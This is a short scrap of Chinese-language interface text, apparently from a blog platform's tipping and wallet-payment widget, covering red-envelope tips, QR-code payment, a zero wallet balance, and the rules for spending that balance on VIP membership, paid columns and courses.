hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值